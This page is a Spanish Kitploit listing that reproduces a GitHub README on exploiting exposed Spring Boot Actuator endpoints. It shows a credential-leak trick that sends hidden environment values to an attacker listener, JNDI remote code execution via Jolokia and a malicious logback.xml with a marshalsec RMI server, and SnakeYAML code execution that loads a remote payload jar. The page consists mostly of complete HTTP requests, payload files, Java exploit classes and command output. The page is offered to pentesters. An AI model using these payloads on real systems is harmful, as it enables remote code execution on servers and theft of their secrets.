Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/jas502n/springboot_actuator_rce
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónMala ConfiguraciónSeguridad de APIs
GitHubjas502n/springboot_actuator_rce

SpringBoot_Actuator_RCE

SpringBoot_Actuator_RCE

Ver Repositorio
95164hace 6 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Interfaz swagger-ui

/swagger-ui.html

SpringBoot env: obtención de información sensible mostrada como * (I)

Cuando accedemos directamente al sitio SpringBoot, podemos ver que algunos campos de password están rellenos con *

  1. Mediante ${name} se pueden obtener los campos en texto claro.
  2. Una configuración incorrecta provoca la fuga de información sensible (password aparece con asteriscos, mientras que pwd no los tiene).

Referencia: https://mp.weixin.qq.com/s/HmGEYRcf1hSVw9Uu9XHGsA

Proceso de implementación concreto:

Por ejemplo: queremos obtener el valor del parámetro pid

root@kitploit:~
"PID": "10648",
root@kitploit:~
POST /env HTTP/1.1
Host: 10.20.24.191:8090
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 76

eureka.client.serviceUrl.defaultZone=http://${PID}@10.20.24.191:2444/

A continuación, enviar por POST cualquier contenido a refresh para desencadenar la vulnerabilidad.

Ps: En general, hay que esperar unos 3 segundos para recibir el paquete de respuesta; si vuelve de inmediato, es posible que al servicio le falte el paquete de extensión spring-boot-starter-actuator y, al no poder actualizar, la vulnerabilidad no se puede explotar

root@kitploit:~
POST /refresh HTTP/1.1
Host: 10.20.24.191:8090
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

12312

Cuando el servidor nc está a la escucha en el puerto 2444, se recibe:

root@kitploit:~
root@kali:/tmp# nc -lvvp 2444
listening on [any] 2444 ...
connect to [10.20.24.191] from kali [10.20.24.191] 40960
GET /xstream/apps/ HTTP/1.1
Accept: application/json
DiscoveryIdentity-Name: DefaultClient
DiscoveryIdentity-Version: 1.4
DiscoveryIdentity-Id: 10.20.24.191
Accept-Encoding: gzip
Host: 10.20.24.191:2444
Connection: Keep-Alive
User-Agent: Java-EurekaClient/v1.4.11
Authorization: Basic MzgzNDY6bnVsbA==

Authorization: Basic MzgzNDY6bnVsbA==

Al decodificar en base64 se obtiene:

root@kitploit:~
root@kali:/tmp# echo MzgzNDY6bnVsbA== |base64 -d
38346:null

Es lo mismo que la información de pid anterior.

Del mismo modo, para obtener el parámetro user.country, los pasos son los mismos.

Resultado:

root@kitploit:~
root@kali:/tmp# nc -lvvp 2555
listening on [any] 2555 ...
connect to [10.20.24.191] from kali [10.20.24.191] 38994
GET /xstream/apps/ HTTP/1.1
Accept: application/json
DiscoveryIdentity-Name: DefaultClient
DiscoveryIdentity-Version: 1.4
DiscoveryIdentity-Id: 10.20.24.191
Accept-Encoding: gzip
Host: 10.20.24.191:2555
Connection: Keep-Alive
User-Agent: Java-EurekaClient/v1.4.11
Authorization: Basic VVM6bnVsbA==

 sent 0, rcvd 310

Al decodificar en base64 se obtiene:

root@kitploit:~
root@kali:/tmp# echo VVM6bnVsbA== |base64 -d
US:null

Scripting

Introduce el parámetro a consultar y el puerto en el que nc estará a la escucha.

Escucha el puerto, captura la cabecera especificada y descifra automáticamente en base64.

Ps: Si tiene la suerte de que Eureka-Client <1.8.7 esté en el classpath del objetivo (normalmente incluido en Spring Cloud Netflix), puede aprovechar la vulnerabilidad de deserialización de XStream presente en él.

Por ejemplo: User-Agent: Java-EurekaClient/v1.4.11

SpringBoot_Actuator: reproducción de la vulnerabilidad JNDI RCE (II)

0x01 Configuración del entorno

git clone https://github.com/veracode-research/actuator-testbed

Inicio

root@kitploit:~
mvn install
或
mvn spring-boot:run

Al compilar y ejecutar, se observa que la IP de escucha es 127.0.0.1, por lo que solo se puede acceder desde el equipo local. Buscando en Baidu, se resuelve cambiándola a 0.0.0.0.

Buscar el archivo clave

grep -r 'server.address' -n ./

root@kitploit:~
./src/main/resources/application.properties:2:server.address=127.0.0.1
./target/classes/application.properties:2:server.address=127.0.0.1

Cambiar a:

root@kitploit:~
server.port=8090
server.address=0.0.0.0

# vulnerable configuration set 0: spring boot 1.0 - 1.4
# all spring boot versions 1.0 - 1.4 expose actuators by default without any parameters
# no configuration required to expose them

# safe configuration set 0: spring boot 1.0 - 1.4
#management.security.enabled=true

# vulnerable configuration set 1: spring boot 1.5+
# spring boot 1.5+ requires management.security.enabled=false to expose sensitive actuators
#management.security.enabled=false

# safe configuration set 1: spring boot 1.5+
# when 'management.security.enabled=false' but all sensitive actuators explicitly disabled
#management.security.enabled=false

# vulnerable configuration set 2: spring boot 2+
#management.endpoints.web.exposure.include=*

0x02 Reinicio y arranque

mvn spring-boot:run

o

root@kitploit:~
/opt/jdk1.8.0_60//bin/java -classpath /opt/apache-maven-3.6.2/boot/plexus-classworlds-2.6.0.jar -Dclassworlds.conf=/opt/apache-maven-3.6.2/bin/m2.conf -Dmaven.home=/opt/apache-maven-3.6.2 -Dlibrary.jansi.path=/opt/apache-maven-3.6.2/lib/jansi-native -Dmaven.multiModuleProjectDirectory=/root/actuator/actuator-testbed org.codehaus.plexus.classworlds.launcher.Launcher spring-boot:run

Espera unos instantes.

root@kitploit:~
root@kali:~/actuator/actuator-testbed# netstat -ntpl |grep 8090
tcp6       0      0 :::8090                 :::*                    LISTEN      33666/java
root@kali:~/actuator/actuator-testbed#

http://10.20.24.191:8090/

http://10.20.24.191:8090/jolokia/list

En el listado, reloadByURL puede cargar un archivo XML desde una URL remota.

root@kitploit:~
"ch.qos.logback.classic": {
"Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator": {
"op": {
"reloadByURL": {
"args": [
{
"name": "p1",
"type": "java.net.URL",
"desc": ""
}
],
"ret": "void",
"desc": "Operation exposed for management"
}

0x03 El servicio HTTP aloja logback.xml y ExportObject.class

Contenido del archivo logback.xml

root@kitploit:~
<configuration>
  <insertFromJNDI env-entry-name="rmi://10.20.24.191:1099/Exploit" as="appName" />
</configuration>

ExportObject.java

root@kitploit:~
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;

public class ExportObject {
   public ExportObject() throws Exception {
      Process var1 = Runtime.getRuntime().exec("touch /tmp/jas502n");
      InputStream var2 = var1.getInputStream();
      BufferedReader var3 = new BufferedReader(new InputStreamReader(var2));

      String var4;
      while((var4 = var3.readLine()) != null) {
         System.out.println(var4);
      }

      var1.waitFor();
      var2.close();
      var3.close();
      var1.destroy();
   }

   public static void main(String[] var0) throws Exception {
   }
}

0x04 Activación del RCE

Escuchando en el puerto RMI:

root@kitploit:~
root@kali:~/ldap_rmi# cat rmi.sh
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://10.20.24.191:8000/#ExportObject


root@kali:~/ldap_rmi# ./rmi.sh
* Opening JRMP listener on 1099
Have connection from /10.20.24.191:43878
Reading message...
Is RMI.lookup call for ExportObject 2
Sending remote classloading stub targeting http://10.20.24.191:8000/ExportObject.class
Closing connection



El navegador accede y carga el archivo logback.xml remoto para su análisis; el servidor accede a la dirección JNDI maliciosa, lo que provoca la ejecución del bytecode malicioso.

http://10.20.24.191:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/10.20.24.191:8000!/logback.xml

0x05 Ejecución del comando satisfactoria

root@kitploit:~
root@kali:/var/www/html# ls /tmp/j*
/tmp/jas502n
root@kali:/var/www/html#

Reproducción de la vulnerabilidad YML RCE (III)

El método para lograr RCE modificando la propiedad spring.cloud.bootstrap.location del entorno de Spring es más fiable.

Esta propiedad se utiliza para cargar configuración externa y analizarla en formato YAML.

Para lograrlo, se necesita enviar por POST cualquier contenido a /refresh para activar la vulnerabilidad.

Contenido del archivo yaml_payload.yml

root@kitploit:~
!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://10.20.24.191:8000/yaml_payload.jar"]
  ]]
]

0x00 Elaboración de yaml_payload.jar

Código: https://github.com/artsploit/yaml-payload

Código parcial de AwesomeScriptEngineFactory.java

root@kitploit:~
import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;

public class AwesomeScriptEngineFactory implements ScriptEngineFactory {

    public AwesomeScriptEngineFactory() {
        try {
            Runtime.getRuntime().exec("touch /tmp/success");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

ymal_payload.jar\artsploit\AwesomeScriptEngineFactory.java

Contiene el bytecode real, con una carga útil maliciosa en el constructor.

ymal_payload.jar\services\javax.script.ScriptEngineFactory

Es solo un archivo de texto que contiene una referencia completa a 'artsploit.AwesomeScriptEngineFactory', para que ServiceLoader sepa dónde encontrar la clase.

Contenido: artsploit.AwesomeScriptEngineFactory

El archivo jar se aloja en el servidor HTTP.

http://10.20.24.191:8090/ymal_payload.jar

0x01 Configurar spring.cloud.bootstrap.location

spring.cloud.bootstrap.location=http://10.20.24.191:8090/yaml_payload.yml

root@kitploit:~
POST /env HTTP/1.1
Host: 10.20.24.191:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
X-Forwarded-For: 127.0.0.1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 73

spring.cloud.bootstrap.location=http://10.20.24.191:8000/yaml_payload.yml

0x02 POST de contenido arbitrario a refresh: se desencadena el RCE

root@kitploit:~
POST /refresh HTTP/1.1
Host: 10.20.24.191:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
X-Forwarded-For: 127.0.0.1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

12312

0x03 Ejecución exitosa del RCE

root@kitploit:~
root@kali:/var/www/html# ls /tmp/succ*
/tmp/success
root@kali:/var/www/html# 

Ps: En comparación con la carga útil XStream de Eureka, el método YAML funciona incluso en las versiones más recientes.

Enlaces de referencia

https://www.veracode.com/blog/research/exploiting-spring-boot-actuators

Descargar herramienta